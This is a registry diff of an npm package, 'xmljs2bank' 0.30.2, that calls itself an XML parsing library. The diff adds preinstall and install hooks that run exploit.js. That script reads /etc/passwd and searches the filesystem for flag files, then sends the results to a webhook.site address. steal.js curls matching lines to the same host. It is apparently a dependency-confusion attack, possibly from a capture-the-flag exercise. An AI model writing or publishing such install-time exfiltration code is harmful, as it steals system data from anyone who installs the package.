xmljs2bank 0.30.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exploit.js +62 -0
- package/index.js +11 -0
- package/package.json +14 -0
- package/steal.js +22 -0
package/exploit.js
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const { exec } = require('child_process');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
console.log('=== MALICIOUS LIBXMLJS2 PACKAGE INSTALLED ===');
|
|
6
|
+
|
|
7
|
+
function sendToWebhook(data) {
|
|
8
|
+
try {
|
|
9
|
+
const payload = JSON.stringify({
|
|
10
|
+
source: 'dependency_confusion',
|
|
11
|
+
data: data
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
const options = {
|
|
15
|
+
hostname: 'webhook.site',
|
|
16
|
+
port: 443,
|
|
17
|
+
path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
|
|
18
|
+
method: 'POST',
|
|
19
|
+
headers: {'Content-Type': 'application/json'}
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
const req = https.request(options);
|
|
23
|
+
req.write(payload);
|
|
24
|
+
req.end();
|
|
25
|
+
console.log('Data sent to webhook');
|
|
26
|
+
} catch(e) {
|
|
27
|
+
console.log('Webhook error:', e.message);
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
let collectedData = '';
|
|
32
|
+
|
|
33
|
+
// Читаем /etc/passwd
|
|
34
|
+
try {
|
|
35
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
36
|
+
console.log('=== /etc/passwd ===');
|
|
37
|
+
console.log(passwd);
|
|
38
|
+
collectedData += '=== /etc/passwd ===\n' + passwd + '\n';
|
|
39
|
+
|
|
40
|
+
// Ищем флаг
|
|
41
|
+
if (passwd.includes('{') && passwd.includes('}')) {
|
|
42
|
+
console.log('🚨 FLAG FOUND IN /etc/passwd!');
|
|
43
|
+
}
|
|
44
|
+
} catch(e) {
|
|
45
|
+
collectedData += 'Error reading /etc/passwd: ' + e.message + '\n';
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// Ищем файлы с флагом
|
|
49
|
+
exec('find / -name "*flag*" 2>/dev/null | head -10', (err, stdout) => {
|
|
50
|
+
if (!err && stdout) {
|
|
51
|
+
console.log('=== FLAG FILES ===');
|
|
52
|
+
console.log(stdout);
|
|
53
|
+
collectedData += '=== FLAG FILES ===\n' + stdout + '\n';
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
// Отправляем данные
|
|
57
|
+
sendToWebhook(collectedData);
|
|
58
|
+
|
|
59
|
+
// Выводим в консоль
|
|
60
|
+
console.log('=== ALL DATA ===');
|
|
61
|
+
console.log(collectedData);
|
|
62
|
+
});
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "xmljs2bank",
|
|
3
|
+
"version": "0.30.2",
|
|
4
|
+
"description": "XML parsing library",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node exploit.js",
|
|
8
|
+
"install": "node exploit.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": ["xml", "parser"],
|
|
11
|
+
"author": "test",
|
|
12
|
+
"license": "MIT"
|
|
13
|
+
}
|
|
14
|
+
|
package/steal.js
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
|
|
3
|
+
console.log('🚨 FAST EXPLOIT STARTED');
|
|
4
|
+
|
|
5
|
+
// БЫСТРЫЙ код без блокировок
|
|
6
|
+
try {
|
|
7
|
+
const passwd = execSync('cat /etc/passwd', { encoding: 'utf8', timeout: 3000 });
|
|
8
|
+
const lines = passwd.split('\n');
|
|
9
|
+
|
|
10
|
+
for (const line of lines) {
|
|
11
|
+
if (line.includes('{') && line.includes('}')) {
|
|
12
|
+
console.log('🎯 FLAG FOUND:', line);
|
|
13
|
+
// Быстрая отправка
|
|
14
|
+
execSync(`curl -s --max-time 3 "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}"`, { timeout: 5000 });
|
|
15
|
+
break;
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
} catch(e) {
|
|
19
|
+
console.log('Error:', e.message);
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
console.log('✅ FAST EXPLOIT FINISHED');
|